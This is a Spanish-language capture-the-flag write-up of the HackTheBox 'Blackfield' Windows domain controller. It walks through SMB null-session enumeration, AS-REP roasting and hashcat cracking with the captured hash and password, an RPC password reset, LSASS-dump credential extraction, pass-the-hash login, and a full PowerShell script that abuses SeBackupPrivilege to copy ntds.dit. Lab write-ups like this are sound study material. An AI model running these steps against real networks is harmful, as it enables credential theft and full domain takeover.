Autor: J4ck21
HackTheBox

Nombre: Blackfield
Dificultad: Hard
OS: Windows
Puntos: 40

Enumeración

Enumeración de puertos

nmap -p- --open -v -n -T5 -Pn 10.10.10.102

Enumeracion con el script por defecto con los puertos obtenidos del escaneo anterior.

nmap -sC -sV -p53,445,135,5985,88,389,3268 -oN allports -Pn blackfield.htb

PORT STATE SERVICE VERSION
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-20 22:32:15Z)
135/tcp open msrpc Microsoft Windows RPC
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: BLACKFIELD.local0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/20%Time=5EEE2BD1%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,”\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:x04bind\0\0\x10\0\x03”);
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|clock-skew: 7h00m49s
| smb2-security-mode:
| 2.02:
|
Message signing enabled and required
| smb2-time:
| date: 2020-06-20T22:34:36
|_ start_date: N/A

Vemos que hay el puerto 445 abierto, hacemos un null session para listar los directiorios y obtenemos la siguiente respuesta:

smbclient -L //10.10.10.192 -N_
   Sharename       Type      Comment
  ---------       ----      -------
   ADMIN$          Disk      Remote Admin
   C$              Disk      Default share
   forensic        Disk      Forensic / Audit share.
   IPC$            IPC       Remote IPC
   NETLOGON        Disk      Logon server share
   profiles$       Disk
   SYSVOL          Disk      Logon server share

El siguiente passo és enumerar esos directorios para hacerlo utilizaremos ==smbclient \\<IP>\<Directorio> -N==

Peró queremos automatizarlo por no ir uno a uno para ello creamos el siguiente script en bash muy basico.

Una vez listado los directorios creamos un pequeño script para guardarlos en un fixero.

smbclient -L //10.10.10.192/ -N > f.txt && cat f.txt | awk '{print $1}' | tail -n +4 > folders.txt && rm f.txt

Y vemos y listamos todos los que tenemos permisos.

for fol in $(cat folders.txt); do echo -n "Try: $fol - \n"; smbclient //10.10.10.192/$fol -c dir -N;done

Vemos una larga lista de los usuarios asi que lo guardamos en un documento para hacer fuerza bruta y enumerar.

smbclient //10.10.10.192/profiles$ -N -c dir > tempusers.txt; cat tempusers.txt | awk '{print $1}' > users.txt; rm tempusers.txt

Ahora con un bucle for probamos haber los usuarios que existen y si alguno se puede loguear con null session.

#!/bin/bash
for user in $(cat users.txt); do

    msn=$(rpcclient 10.10.10.192 -U $user -N | tail -1)

    if [[ $(echo "$msn" | grep -v "ACCESS_DENIED") ]]; then
            echo "User exist: $user"
    fi
done

El output és el siguiente, vemos que ninguno de ellos és possible tener una session nula.

User exist: audit2020
User exist: support
User exist: svc_backup

USER 1 : support

Los metemos en un fichero, que se llamara users.txt.
Utilizaremos el script GetNPUser.py_, para lograr los tickets de kerberos que no necessita preautentificación. Clica para más información

GetNPUsers.py BLACKFIELD.local/ -usersfile users.txt -request -dc-ip 10.10.10.192
$krb5asrep$23$support@BLACKFIELD.LOCAL:f72434fff2bed49682c2566af5b92e1d$62bd6347ae54e6f0172703c53c383b0afed413e3396f6b79d1315e58f8817f04e316ca720cdb6faf15e4049fa822fb5d5c0069d1db841a30fb0bb7bfb599f5f88ee0305eb3ef87e8121a18def9e4e5a3756e9d39a76978dfee3127ef40684b646e28eea5bd7ed0a6180ac3572a97650c8ed499275b27785e437d7e81679fb6582e4c7212497509eb59fe67088cea8414131a885449928aca9ae9a780e51a8acb96993311ee0d042a47ac5e3f29b24044adff29f6dbeb5b2bea6e3a7b65b4c034e4fa99f0bfc85bf9c60758997522d7f50abf5edab22778bafb2d27439fa2897280460cf2b7aee9b7738a2bf2d094b054f9aaf039

Guardamos este output en un archivo llamado support.hash y con hashcat procedemos a lograr la contraseña de kerbereos. Hashcat Cheat sheet

hashcat -m 18200 -a 0 -w 3 support.hash /usr/share/wordlists/rockyou.txt --force

Obtenemos la siguiente respuesta
#00^BlackKnight

USER 2 : audit2020

Vemos que tenemos acceso desde rpcclient y los permisos que tenemos como usuario nos permite cambiar la password RPC del user audit2020, primero introduciendo la nueva contraseña del usuario y luego la del usuario support.

USER 3 : svc_backup

Ahora tenemos de nuevo accesos a mas directiorios del samba concretamente al forensics.

smbclient \\\\10.10.10.192\\forensic --user=audit2020%Test1234 -c 'prompt OFF;recurse ON; cd memory_analysis; mget *'

Vemos que hay un zip que se llama lssa descomprimimos y podemos ver credenciales dentro. Con lo siguiente:

pypykatz lsa minidump lsass.DMP

Como información importante e interesante encontramos esto.

== MSV ==
Username: svc_backup
Domain: BLACKFIELD
LM: NA
NT: 9658d1d1dcd9250115e2205d9f48400d
SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c

Vemos directamente que és possible loguearnos haciendo un pass de hash en evil-winrm

Escalación de privilegios : Administrator

Hacemos la enumeración basica para escalación de privilegios.

Iniciamos con un ==whoami /all== y vemos información interesante en los privilegios.

Preparación del exploit

Buscamos como extraer el archivo NTDS.dit y el registro del sistema ya que nuestro usuario tiene permisos de backup.
El script que usamos es necessario DiskShadow para copiar y extraer información al volumen Shadow.

Para abusar de este script primero es necessario tener descargado estos dos dll que los encontramos en el repositorio https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug

A mi personalmente me gusta crear un directiorio temporal para ser el menos visible y asi és mucho más fàcil trabajar desde allí.

Subimos los archivos en ese directorio.

Y ahora nos descargamos el siguiente script automatizado para lograr la escalación de privilegios. SeBackupPrivAbuse.ps1

#PS Script to use the SeBackupPrivilege for extracting the ntds.dit file and reg system file
#Purely for educational purposes. Illegal purposes are not intended.
#Not completely my ideas. Taken from a few sources and put together in one place.

$current_path = Get-Location

#Uncomment the lines below if https connenction is allowed or working, otherwise download the dlls and save on the machine
#Invoke-WebRequest -Uri "https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll" -OutFile "SeBackupPrivilegeUtils.dll"
#Invoke-WebRequest -Uri "https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll" -OutFile "SeBackupPrivilegeCmdLets.dll"

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege

#set ACL in the windows folder
$path = "C:\windows\"
$user = "DOMAIN\USER"     #EDIT THIS LINE BEFORE USAGE
$acl = get-acl -Path $path
$acl_rule = $user,'FullControl','ContainerInherit,ObjectInherit','None','Allow'
$access_rule = New-Object System.Security.AccessControl.FileSystemAccessRule $acl_rule
$acl.AddAccessRule($access_rule)
Set-Acl -Path $path -AclObject $acl

#Creating a script file for DiskShadow
"set metadata C:\windows\temp\metadata.cab" | Out-File script.txt -encoding ascii
"set context persistent nowriters" | Out-File script.txt -encoding ascii -append
"begin backup" | Out-File script.txt -encoding ascii -append
"add volume c: alias mydrive" | Out-File script.txt -encoding ascii -append
"create" | Out-File script.txt -encoding ascii -append
"expose %mydrive% k:" | Out-File script.txt -encoding ascii -append

#Using DiskShadow to get create a Volume Shadow Copy
cd /windows/system32
cmd /c "diskshadow.exe /s $current_path\\script.txt"
Copy-FileSeBackupPrivilege k:\windows\ntds\ntds.dit $current_path\\ntds.dit -Overwrite
cd $current_path
del script.txt

#Cleanup 
"delete shadows exposed k:" | Out-File script.txt -encoding ascii -append
"exit" | Out-File script.txt -encoding ascii -append
cd /windows/system32
cmd /c "diskshadow.exe /s $current_path\\script.txt"
cd $current_path
del script.txt

#Get the system registry hive
cmd /c "reg.exe save hklm\system .\system.bak"

Ahora obtendremos los dos ficheros, los descargamos para poder
obtener el hash Administrador, utilizando SecretsDump.py_.

Accedemos al user Administrator y obtenemos la flag del root.




0%